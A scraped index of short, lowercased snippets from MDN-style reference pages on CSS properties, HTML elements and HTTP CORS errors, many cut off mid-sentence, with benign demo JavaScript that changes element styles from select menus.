e since gecko 1.9.2 -moz-outline-styleobsolete since gecko 1.9.2 -moz-outline-widthobsolete since gecko 1.9.2 p -moz-padding-end [superseded by the standard version padding-inline-start] -moz-padding-start [superseded by the standard version padding-inline-end] -moz-perspective [prefixed version still accepted] -moz-perspective-origin [prefixed version still accepted] pointer-events [applying to more than svg] t–u -moz-tab-size -moz-text-align-lastobsolete since gecko 53 -moz-text-decoration-colorobsolete since gecko 39 -moz-text-decoration-lineobsolete since gecko 39 -moz-text-decoration-styleobsolete since gecko 39 -moz-text-size-adjust -moz-transform [prefixed version still accepted] -moz-transform-origin [prefixed version still accepted] -moz-...
CSS reference - CSS: Cascading Style Sheets
WebCSSReference
behavior-xoverscroll-behavior-yppad (@counter-style)paddingpadding-blockpadding-block-endpadding-block-startpadding-bottompadding-inlinepadding-inline-endpadding-inline-startpadding-leftpadding-rightpadding-top@pagepage-break-afterpage-break-beforepage-break-insidepaint()paint-orderpath()pc<percentage>perspectiveperspective()perspective-originplace-contentplace-itemsplace-self::placeholderpointer-eventspolygon()<position>positionprefix (@counter-style)ptpxqqquotesrradradial-gradient()range (@counter-style)<ratio>:read-only:read-writerect()remrepeat()repeating-linear-gradient()repeating-radial-gradient():requiredresize<resolution>revertrgb()rgba():rightright@right-bottom:rootrotaterotate()rotate3d()rotatex()rotatey()rotatez()row-gapsssaturate()scalescale()scale3d()scalex()scaley()scalez():scopes...
Syntax - CSS: Cascading Style Sheets
WebCSSSyntax
the last declaration of a block doesn't need to be terminated by a semi-colon, though it is often considered good style to do it as it prevents forgetting to add it when extending the block with another declaration.
align-content - CSS: Cascading Style Sheets
alue="safe end">safe end</option> <option value="unsafe end">unsafe end</option> <option value="safe flex-end">safe flex-end</option> <option value="unsafe flex-end">unsafe flex-end</option> </select> </div> javascript var values = document.getelementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.aligncontent = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'align-content' in that specification.
align-items - CSS: Cascading Style Sheets
>safe self-end</option> <option value="unsafe self-end">unsafe self-end</option> <option value="safe flex-end">safe flex-end</option> <option value="unsafe flex-end">unsafe flex-end</option> </select> </div> javascript var values = document.getelementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.alignitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'align-items' in that specification.
background-blend-mode - CSS: Cascading Style Sheets
on</option> <option>hue</option> <option>saturation</option> <option>color</option> <option>luminosity</option> </select> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications specification status comment compositing and blending level 1the definition of 'background-blend-mode' in that specification.
<blend-mode> - CSS: Cascading Style Sheets
tion>luminosity</option> </select> css div { width: 300px; height: 300px; background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center, linear-gradient(to bottom, blue, orange); } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); selectelem.addeventlistener('change', () => { divelem.style.backgroundblendmode = selectelem.value; }); result specifications specification status comment compositing and blending level 1the definition of '<blend-mode>' in that specification.
border-image-outset - CSS: Cascading Style Sheets
the parts of the border image that are rendered outside the element's border box with border-image-outset do not trigger overflow scrollbars and don't capture mouse events.
border-image-repeat - CSS: Cascading Style Sheets
me!</div> <select id="repetition"> <option value="stretch">stretch</option> <option value="repeat">repeat</option> <option value="round">round</option> <option value="space">space</option> <option value="stretch repeat">stretch repeat</option> <option value="space round">space round</option> </select> javascript var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("bordered").style.borderimagerepeat = evt.target.value; }); results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-repeat' in that specification.
border-image-slice - CSS: Cascading Style Sheets
: 30; border-image-repeat: round; } li { display: flex; place-content: center; } javascript const widthslider = document.getelementbyid('width'); const sliceslider = document.getelementbyid('slice'); const widthoutput = document.getelementbyid('width-output'); const sliceoutput = document.getelementbyid('slice-output'); const divelem = document.queryselector('div > div'); widthslider.addeventlistener('input', () => { const newvalue = widthslider.value + 'px'; divelem.style.borderwidth = newvalue; widthoutput.textcontent = newvalue; }) sliceslider.addeventlistener('input', () => { const newvalue = sliceslider.value; divelem.style.borderimageslice = newvalue; sliceoutput.textcontent = newvalue; }) result specifications specification status comment ...
break-inside - CSS: Cascading Style Sheets
notes on compatibility prior to firefox 65, the older property of page-break-inside will work in firefox to prevent breaks in columns, as well as pages.
calc() - CSS: Cascading Style Sheets
WebCSScalc
wing code: .foo { --widtha: 100px; --widthb: calc(var(--widtha) / 2); --widthc: calc(var(--widthb) / 2); width: var(--widthc); } after all variables are expanded, widthc's value will be calc( calc( 100px / 2) / 2), then when it's assigned to .foo's width property, all inner calc()s (no matter how deeply nested) will be flattened to just parentheses, so the width property's value will be eventually calc( ( 100px / 2) / 2), i.e.
clip-path - CSS: Cascading Style Sheets
WebCSSclip-path
px 100px)">circle</option> <option value="url(#cross)" selected>cross</option> <option value="inset(20px round 20px)">inset</option> <option value="path('m 0 200 l 0,110 a 110,90 0,0,1 240,100 l 200 340 z')">path</option> </select> css #clipped { margin-bottom: 20px; clip-path: url(#cross); } javascript const clippathselect = document.getelementbyid("clippath"); clippathselect.addeventlistener("change", function (evt) { document.getelementbyid("clipped").style.clippath = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'clip-path' in that specification.
contain - CSS: Cascading Style Sheets
WebCSScontain
this property is useful on pages that contain a lot of widgets that are all independent, as it can be used to prevent each widget's internals from having side effects outside of the widget's bounding-box.
display - CSS: Cascading Style Sheets
WebCSSdisplay
an { background-color: black; color: white; margin: 1px; } article, span { padding: 10px; border-radius: 7px; } article, div { margin: 20px; } javascript const articles = document.queryselectorall('.container'); const select = document.queryselector('select'); function updatedisplay() { articles.foreach((article) => { article.style.display = select.value; }); } select.addeventlistener('change', updatedisplay); updatedisplay(); result note: you can find more examples in the pages for each separate display data type, linked above.
<easing-function> - CSS: Cascading Style Sheets
nimation: 1.5s infinite alternate; } @keyframes move-right { from { left: 10%; } to { left: 90%; } } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } javascript const selectelem = document.queryselector('select'); const startbtn = document.queryselector('button'); const divelem = document.queryselector('div > div'); startbtn.addeventlistener('click', () => { if(startbtn.textcontent === 'start animation') { divelem.style.animationname = 'move-right'; startbtn.textcontent = 'stop animation'; divelem.style.animationtimingfunction = selectelem.value; } else { divelem.style.animationname = 'unset'; startbtn.textcontent = 'start animation'; } }); selectelem.addeventlistener('change', () => { divelem.sty...
<filter-function> - CSS: Cascading Style Sheets
0px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); const slider = document.queryselector('input'); const output = document.queryselector('output'); const curvalue = document.queryselector('p code'); selectelem.addeventlistener('change', () => { setslider(selectelem.value); setdiv(selectelem.value); }); slider.addeventlistener('input', () => { setdiv(selectelem.value); }); function setslider(filter) { if(filter === 'blur') { slider.value = 0; slider.min = 0; slider.max = 30; slider.step = 1; slider.setattribute('data-unit', 'px'); } else if(filter === 'brightness' || filter === 'c...
flex - CSS: Cascading Style Sheets
WebCSSflex
ntainer"> <div class="flex-item" id="flex">flex box (click to toggle raw box)</div> <div class="raw-item" id="raw">raw box</div> </div> css #flex-container { display: flex; flex-direction: row; } #flex-container > .flex-item { flex: auto; } #flex-container > .raw-item { width: 5rem; } var flex = document.getelementbyid("flex"); var raw = document.getelementbyid("raw"); flex.addeventlistener("click", function() { raw.style.display = raw.style.display == "none" ?
font-kerning - CSS: Cascading Style Sheets
ij</textarea> css div { font-size: 2rem; font-family: serif; } #nokern { font-kerning: none; } #kern { font-kerning: normal; } javascript let input = document.getelementbyid('input'); let kern = document.getelementbyid('kern'); let nokern = document.getelementbyid('nokern'); input.addeventlistener('keyup', function() { kern.textcontent = input.value; /* update content */ nokern.textcontent = input.value; }); kern.textcontent = input.value; /* initialize content */ nokern.textcontent = input.value; specifications specification status comment css fonts module level 3the definition of 'font-kerning' in that specification.
font-style - CSS: Cascading Style Sheets
p { margin-top: 0; margin-bottom: 0; } javascript let slantlabel = document.queryselector('label[for="slant"]'); let slantinput = document.queryselector('#slant'); let sampletext = document.queryselector('.sample'); function update() { let slant = `oblique ${slantinput.value}deg`; slantlabel.textcontent = `font-style: ${slant};`; sampletext.style.fontstyle = slant; } slantinput.addeventlistener('input', update); update(); accessibility concerns large sections of text set with a font-style value of italic may be difficult for people with cognitive concerns such as dyslexia to read.
font-variant-ligatures - CSS: Cascading Style Sheets
no-contextual prevents their use.
font-weight - CSS: Cascading Style Sheets
} .container > p { margin-top: 0; margin-bottom: 0; } javascript let weightlabel = document.queryselector('label[for="weight"]'); let weightinput = document.queryselector('#weight'); let sampletext = document.queryselector('.sample'); function update() { weightlabel.textcontent = `font-weight: ${weightinput.value};`; sampletext.style.fontweight = weightinput.value; } weightinput.addeventlistener('input', update); update(); accessibility concerns people experiencing low vision conditions may have difficulty reading text set with a font-weight value of 100 (thin/hairline) or 200 (extra light), especially if the font has a low contrast color ratio.
<gradient> - CSS: Cascading Style Sheets
WebCSSgradient
this prevents unexpected shades of gray from appearing when both the color and the opacity are changing.
grid-template - CSS: Cascading Style Sheets
use grid (as opposed to grid-template) to prevent these values from cascading in seperately.
hyphens - CSS: Cascading Style Sheets
WebCSShyphens
it can prevent hyphenation entirely, hyphenate at manually-specified points within the text, or let the browser automatically insert hyphens where appropriate.
image-orientation - CSS: Cascading Style Sheets
can be changed in the live sample */ } html <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="orientation taken from the image"> <select id="imageorientation"> <option value="from-image">from-image</option> <option value="none">none</option> </select> javascript var imageorientation = document.getelementbyid("imageorientation"); imageorientation.addeventlistener("change", function (evt) { document.getelementbyid("image").style.imageorientation = evt.target.value; }); result specifications specification status comment css images module level 3the definition of 'image-orientation' in that specification.
image() - CSS: Cascading Style Sheets
because we used image() along with the background-size property (and prevented the image from repeating with the background-repeat property, the color swatch will only cover a quarter of the container.
ime-mode - CSS: Cascading Style Sheets
WebCSSime-mode
<input type="text" name="name" value="initial value" style="ime-mode: disabled"> note: you shouldn't rely on disabling ime to prevent extended characters from passing through your form.
justify-content - CSS: Cascading Style Sheets
e">first baseline</option> <option value="last baseline">last baseline</option> <option value="space-between" selected>space-between</option> <option value="space-around">space-around</option> <option value="space-evenly">space-evenly</option> <option value="stretch">stretch</option> </select> javascript var justifycontent = document.getelementbyid("justifycontent"); justifycontent.addeventlistener("change", function (evt) { document.getelementbyid("container").style.justifycontent = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'justify-content' in that specification.
left - CSS: Cascading Style Sheets
WebCSSleft
when both left and right are defined, and width constraints don't prevent it, the element will stretch to satisfy both.
<length> - CSS: Cascading Style Sheets
WebCSSlength
-left: 20px; } .results { margin-top: 10px; } .input-container { position: absolute; display: flex; justify-content: flex-start; align-items: center; height: 50px; } label { margin: 0 10px 0 20px; } javascript const inputdiv = document.queryselector('.inner'); const inputelem = document.queryselector('input'); const resultsdiv = document.queryselector('.results'); inputelem.addeventlistener('change', () => { inputdiv.style.width = inputelem.value; const result = document.createelement('div'); result.classname = 'result'; result.style.width = inputelem.value; result.innerhtml = `<code>width: ${inputelem.value}</code>`; resultsdiv.appendchild(result); inputelem.value = ''; inputelem.focus(); }) result specifications specification status co...
mask-border-outset - CSS: Cascading Style Sheets
when it eventually starts to be supported, it will serve to move the mask away from the inner edge of the element's border box — you can use it to make the mask start from part way across the border, rather than the inside of it.
mask-border-repeat - CSS: Cascading Style Sheets
when it eventually starts to be supported, it will serve to define how the border mask slice will repeat around the border — i.e.
mask-border-slice - CSS: Cascading Style Sheets
when it eventually starts to be supported, it will serve to define the size of the slices taken from the source image, and used to create the border mask.
mask-border-source - CSS: Cascading Style Sheets
when it eventually starts to be supported, it will serve to define the source of the border mask.
mask-border-width - CSS: Cascading Style Sheets
when it eventually starts to be supported, it will serve to define the width of the border mask — setting this to a different value to mask-border-slice will cause the slices to be scaled to fit the border mask.
mask-clip - CSS: Cascading Style Sheets
WebCSSmask-clip
box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> <option value="no-clip">no-clip</option> </select> javascript var clipbox = document.getelementbyid("clipbox"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskclip = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-clip' in that specification.
mask-composite - CSS: Cascading Style Sheets
100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <option value="intersect">intersect</option> <option value="exclude">exclude</option> </select> javascript var clipbox = document.getelementbyid("compositemode"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskcomposite = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-composite' in that specification.
mask-mode - CSS: Cascading Style Sheets
WebCSSmask-mode
rl(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-mode: alpha; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="maskmode"> <option value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode = document.getelementbyid("maskmode"); maskmode.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskmode = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-mode' in that specification.
mask-origin - CSS: Cascading Style Sheets
content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> </select> javascript var origin = document.getelementbyid("origin"); origin.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskorigin = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-origin' in that specification.
mask-position - CSS: Cascading Style Sheets
ption> <option value="bottom">bottom</option> <option value="top right" selected>top right</option> <option value="center center">center center</option> <option value="bottom left">bottom left</option> <option value="10px 20px">10px 20px</option> <option value="60% 20%">60% 20%</option> </select> javascript var maskposition = document.getelementbyid("maskposition"); maskposition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskposition = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-position' in that specification.
mask-repeat - CSS: Cascading Style Sheets
</div> <select id="repetition"> <option value="repeat-x">repeat-x</option> <option value="repeat-y">repeat-y</option> <option value="repeat" selected>repeat</option> <option value="space">space</option> <option value="round">round</option> <option value="no-repeat">no-repeat</option> </select> javascript content var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskrepeat = evt.target.value; }); result multiple mask image support you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { mask-image: url('mask1.png'), url('mask2.png'); mask-repeat: repeat-x, repeat-y; } each image is matched with the corresponding repeat st...
mask-size - CSS: Cascading Style Sheets
WebCSSmask-size
html <div id="masked"> </div> <select id="masksize"> <option value="auto">auto</option> <option value="40% 80%">40% 80%</option> <option value="50%" selected>50%</option> <option value="200px 100px">200px 100px</option> <option value="cover">cover</option> <option value="contain">contain</option> </select> javascript var masksize = document.getelementbyid("masksize"); masksize.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.masksize = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-size' in that specification.
max-height - CSS: Cascading Style Sheets
it prevents the used value of the height property from becoming larger than the value specified for max-height.
max-width - CSS: Cascading Style Sheets
WebCSSmax-width
it prevents the used value of the width property from becoming larger than the value specified by max-width.
min-height - CSS: Cascading Style Sheets
it prevents the used value of the height property from becoming smaller than the value specified for min-height.
min-width - CSS: Cascading Style Sheets
WebCSSmin-width
it prevents the used value of the width property from becoming smaller than the value specified for min-width.
Guide to scroll anchoring - CSS: Cascading Style Sheets
if your page is not behaving well with scroll anchoring enabled, it is probably because some scroll event listener is not handling well the extra scrolling to compensate for the anchor node movement.
overflow-anchor - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | none examples prevent scroll anchoring to prevent scroll anchoring in a document, use the overflow-anchor property.
overflow-block - CSS: Cascading Style Sheets
(this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-inline - CSS: Cascading Style Sheets
(this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-x - CSS: Cascading Style Sheets
(this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-y - CSS: Cascading Style Sheets
(this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow - CSS: Cascading Style Sheets
WebCSSoverflow
browsers always display scrollbars whether or not any content is actually clipped, preventing scrollbars from appearing or disappearing as content changes.
place-items - CSS: Cascading Style Sheets
/option> <option value="first baseline auto">first baseline auto</option> <option value="last baseline normal">last baseline normal</option> <option value="stretch auto">stretch auto</option> </select> </div> javascript var values = document.getelementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.placeitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); css #container { height:200px; width: 240px; place-items: center; /* you can change this value by selecting another option in the list */ background-color: #8c8c8c; } .flex { display: flex; flex-...
tab-size - CSS: Cascading Style Sheets
WebCSStab-size
note that white-space is set to pre to prevent the tabs from collapsing.
text-transform - CSS: Cascading Style Sheets
none is a keyword that prevents the case of all characters from being changed.
<transform-function> - CSS: Cascading Style Sheets
rotatey(-90deg) translatez(50px); } .top { background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } .select-form { margin-top: 50px; } javascript const selectelem = document.queryselector('select'); const example = document.queryselector('#example-element'); selectelem.addeventlistener('change', () => { if(selectelem.value === 'choose a function') { return; } else { example.style.transform = `rotate3d(1, 1, 1, 30deg) ${selectelem.value}`; settimeout(function() { example.style.transform = 'rotate3d(1, 1, 1, 30deg)'; }, 2000) } }) result specifications specification status comment css transforms level 2the defin...
transform-style - CSS: Cascading Style Sheets
background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top { background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } javascript const cube = document.getelementbyid('example-element'); const checkbox = document.getelementbyid('preserve'); checkbox.addeventlistener('change', () => { if(checkbox.checked) { cube.style.transformstyle = 'preserve-3d'; } else { cube.style.transformstyle = 'flat'; } }) result specifications specification status comment css transforms level 2the definition of 'transform-style' in that specification.
transition-timing-function - CSS: Cascading Style Sheets
animations can help reduce cognitive load, prevent change blindness, and establish better recall in spatial relationships.
Used value - CSS: Cascading Style Sheets
script function updateusedwidth(id) { var div = document.queryselector(`#${id}`); var par = div.queryselector('.show-used-width'); var wid = window.getcomputedstyle(div)["width"]; par.textcontent = `used width: ${wid}.`; } function updateallusedwidths() { updateusedwidth("no-width"); updateusedwidth("width-50"); updateusedwidth("width-inherit"); } updateallusedwidths(); window.addeventlistener('resize', updateallusedwidths); result difference from computed value css 2.0 defined only computed value as the last step in a property's calculation.
white-space - CSS: Cascading Style Sheets
css-code { background-color: rgb(220, 220, 220); font-size: 16px; font-family: monospace; } #css-code select { font-family: inherit; } #results { background-color: rgb(230, 230, 230); overflow-x: scroll; height: 400px; white-space: normal; font-size: 14px; } var select = document.queryselector("#css-code select"); var results = document.queryselector("#results p"); select.addeventlistener("change", function(e) { results.setattribute("style", "white-space: "+e.target.value); }) <p> lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
will-change - CSS: Cascading Style Sheets
var el = document.getelementbyid('element'); // set will-change when the element is hovered el.addeventlistener('mouseenter', hintbrowser); el.addeventlistener('animationend', removehint); function hintbrowser() { // the optimizable properties that are going to change // in the animation's keyframes block this.style.willchange = 'transform, opacity'; } function removehint() { this.style.willchange = 'auto'; } specifications specification status comment css wi...
word-break - CSS: Cascading Style Sheets
break-all to prevent overflow, word breaks should be inserted between any two characters (excluding chinese/japanese/korean text).
Demos of open web technologies
blobular (interactive) video embedded in svg (or use the local download) summer html image map creator (source code) video video 3d animation "mozilla constantly evolving" video 3d animation "floating dance" streaming anime, movie trailer and interview billy's browser firefox flick virtual barber shop transformers movie trailer a scanner darkly movie trailer (with built in controls) events firing and volume control dragable and sizable videos 3d graphics webgl web audio fireworks ioquake3 (source code) escher puzzle (source code) kai 'opua (source code) virtual reality the polar sea (source code) sechelt fly-through (source code) css css zen garden css floating logo "mozilla" paperfold css blockout rubik's cube pure css slides planetarium (source code) ...
Community - Developer guides
WebGuideAJAXCommunity
ajax resources ajax workshops and courses skillsmatter.com: courses and events on javascript, ajax, and reverse ajax technologies telerik.com: an active community forum for ajax community.tableau.com: community support forum and courses available for ajax codementor.io: social platform with ajax forums and tutorials lynda.com: tutorials available for learning the fundamentals of ajax ajax interview questions and answer and answerinterwiki links ...
Live streaming web audio and video - Developer guides
live streaming technology is often employed to relay live events such as sports, concerts and more generally tv and radio programmes that are output live.
Making content editable - Developer guides
by using some javascript event handlers, you can transform your web page into a full and fast rich text editor.
Introduction to HTML5 - Developer guides
this was done to tighten security and prevent some types of attacks.
Mobile Web Development - Developer guides
WebGuideMobile
working with touch screens to use a touch screen you'll need to work with dom touch events.
Developer guides
events developer guide events refer to two things: a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page; and the naming, characterization, and use of a large number of incidents of different types.
HTML attribute: max - HTML: Hypertext Markup Language
WebHTMLAttributesmax
if the max attribute is valid and a non-empty value is greater than the maximum allowed by the max attribute, constraint validation will prevent form submission.
HTML attribute: maxlength - HTML: Hypertext Markup Language
constraint validation while the browser will generally prevent user from entering more text than the maxlength attribute allows, should the length be longer than the maxlength allows, the read-only toolong property of a validitystate object will be true.
HTML attribute reference - HTML: Hypertext Markup Language
hidden global attribute prevents rendering of given element, while keeping child elements, e.g.
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
WebHTMLElementbdi
but if you don't know the directionality - for example, because embedded-text is being read from a database or entered by the user - you should use <bdi> to prevent the directionality of embedded-text from affecting its surroundings.
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
WebHTMLElementbdo
examples <!-- switch text direction --> <p>this text will go left to right.</p> <p><bdo dir="rtl">this text will go right to left.</bdo></p> result notes the html 4 specification did not specify events for this element; they were added in xhtml.
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
WebHTMLElementfieldset
they won't receive any browsing events, like mouse clicks or focus-related events.
<frame> - HTML: Hypertext Markup Language
WebHTMLElementframe
noresize this attribute prevents resizing of frames by users.
<hgroup> - HTML: Hypertext Markup Language
WebHTMLElementhgroup
in other words, the <hgroup> element prevents any of its secondary <h1>–<h6> children from creating separate sections of their own in the outline—as those <h1>–<h6> elements otherwise normally would if they were not children of any <hgroup>.
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like this: value a domstring representing a date in yyyy-mm-dd format, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasdate, valueasnumber.
<input type="datetime-local"> - HTML: Hypertext Markup Language
events change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasnumber.
<input type="email"> - HTML: Hypertext Markup Language
WebHTMLElementinputemail
value a domstring representing an e-mail address, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, multiple, name,pattern, placeholder, readonly, required, size, and type idl attributes list and value methods select() value the <input> element's value attribute contains a domstring which is automatically validated as conforming to e-mail syntax.
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
events none.
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
events change and input supported common attributes autocomplete, list, readonly, and step.
<input type="range"> - HTML: Hypertext Markup Language
WebHTMLElementinputrange
events change and input supported common attributes autocomplete, list, max, min, and step idl attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; however, the following forms of automatic validation are performed: if the value is set to something which can't be converted into a ...
<input type="text"> - HTML: Hypertext Markup Language
WebHTMLElementinputtext
events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value methods select(), setrangetext() and setselectionrange().
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
value a domstring representing a url, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange().
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
value a domstring representing a week and year, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list.
<label> - HTML: Hypertext Markup Language
WebHTMLElementlabel
when a <label> is clicked or tapped and it is associated with a form control, the resulting click event is also raised for the associated control.
<listing> - HTML: Hypertext Markup Language
WebHTMLElementlisting
instead use the <pre> element or if semantically adequate the <code> element, eventually escaping the html '<' and '>' so that they don't get interpreted.
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementmarquee
event handlers onbounce fires when the marquee has reached the end of its scroll position.
<nobr>: The Non-Breaking Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnobr
the non-standard, obsolete html <nobr> element prevents the text it contains from automatically wrapping across multiple lines, potentially resulting in the user having to scroll horizontally to see the entire width of the text.
<optgroup> - HTML: Hypertext Markup Language
WebHTMLElementoptgroup
often browsers grey out such control and it won't receive any browsing events, like mouse clicks or focus-related ones.
<option>: The HTML Option element - HTML: Hypertext Markup Language
WebHTMLElementoption
often browsers grey out such control and it won't receive any browsing event, like mouse clicks or focus-related ones.
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
switch back!">use pilcrow for paragraphs</button> </p> css p { margin: 0; text-indent: 3ch; } p.pilcrow { text-indent: 0; display: inline; } p.pilcrow + p.pilcrow::before { content: " ¶ "; } javascript document.queryselector('button').addeventlistener('click', function (event) { document.queryselectorall('p').foreach(function (paragraph) { paragraph.classlist.toggle('pilcrow'); }); var newbuttontext = event.target.dataset.toggletext; var oldtext = event.target.innertext; event.target.innertext = newbuttontext; event.target.dataset.toggletext = oldtext; }); result accessibility concerns breaking up content into para...
<plaintext>: The Plain Text element (Deprecated) - HTML: Hypertext Markup Language
escape any <, > and & characters, to prevent browsers inadvertently parsing content the element content as html.
<slot> - HTML: Hypertext Markup Language
WebHTMLElementslot
content categories flow content, phrasing content permitted content transparent events slotchange tag omission none, both the starting and ending tag are mandatory.
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
WebHTMLElementsource
if the browser supports the element but does not support any of the specified formats, an error event is raised and the default media controls (if enabled) will indicate an error.
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
WebHTMLElementsummary
when the user clicks on the summary, the parent <details> element is toggled open or closed, and then a toggle event is sent to the <details> element, which can be used to let you know when this state change occurs.
<textarea> - HTML: Hypertext Markup Language
WebHTMLElementtextarea
unlike the disabled attribute, the readonly attribute does not prevent the user from clicking or selecting in the control.
<time> - HTML: Hypertext Markup Language
WebHTMLElementtime
for example, this can help a user agent offer to add an event to a user's calendar.
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
<nobr> the non-standard, obsolete html <nobr> element prevents the text it contains from automatically wrapping across multiple lines, potentially resulting in the user having to scroll horizontally to see the entire width of the text.
dir - HTML: Hypertext Markup Language
the auto value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database.
draggable - HTML: Hypertext Markup Language
for other elements, the event ondragstart must be set for drag and drop to work, as shown in this comprehensive example.
x-ms-acceleratorkey - HTML: Hypertext Markup Language
you must provide javascript event handlers, like onkeypress, onkeydown, or onkeyup, to listen for your declared accelerator keys and activate the element accordingly.
Global attributes - HTML: Hypertext Markup Language
the event handler attributes: onabort, onautocomplete, onautocompleteerror, onblur, oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncontextmenu, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata...
Common MIME types - HTTP
browsers pay a particular care when manipulating these files, attempting to safeguard the user to prevent dangerous behaviors.
MIME types (IANA media types) - HTTP
servers can prevent mime sniffing by sending the x-content-type-options header.
Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’ - HTTP
if using server-sent events, make sure eventsource.withcredentials is false (it's the default value).
Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP
in addition, the wildcard only works for requests made with the crossorigin attribute set to anonymous, and it prevents sending credentials like cookies in requests.
Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’ - HTTP
